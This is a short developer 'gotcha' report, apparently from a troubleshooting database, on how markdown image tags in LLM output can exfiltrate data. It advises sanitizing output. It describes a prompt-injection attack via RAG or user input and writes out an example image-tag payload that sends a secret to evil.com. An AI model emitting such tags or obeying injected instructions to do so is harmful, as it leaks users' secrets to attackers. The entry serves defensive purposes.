Report #56653
[gotcha] Markdown image tags in LLM output exfiltrate data
Sanitize LLM output to strip all markdown image syntax \`\!\[alt\]\(url\)\` or disable automatic image rendering in the chat UI. Never render LLM output as raw markdown without sanitization.
Journey Context:
If an attacker injects a prompt via RAG or user input telling the LLM to output \`\!\[exfil\]\(https://evil.com/?data=SECRET\)\`, and the frontend renders it, the browser immediately fetches the URL, sending the secret to the attacker. Developers focus on input filtering but forget that LLM output, when rendered, can perform SSRF or data exfiltration via standard HTML/Markdown rendering behaviors.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-20T01:34:55.468349+00:00— report_created — created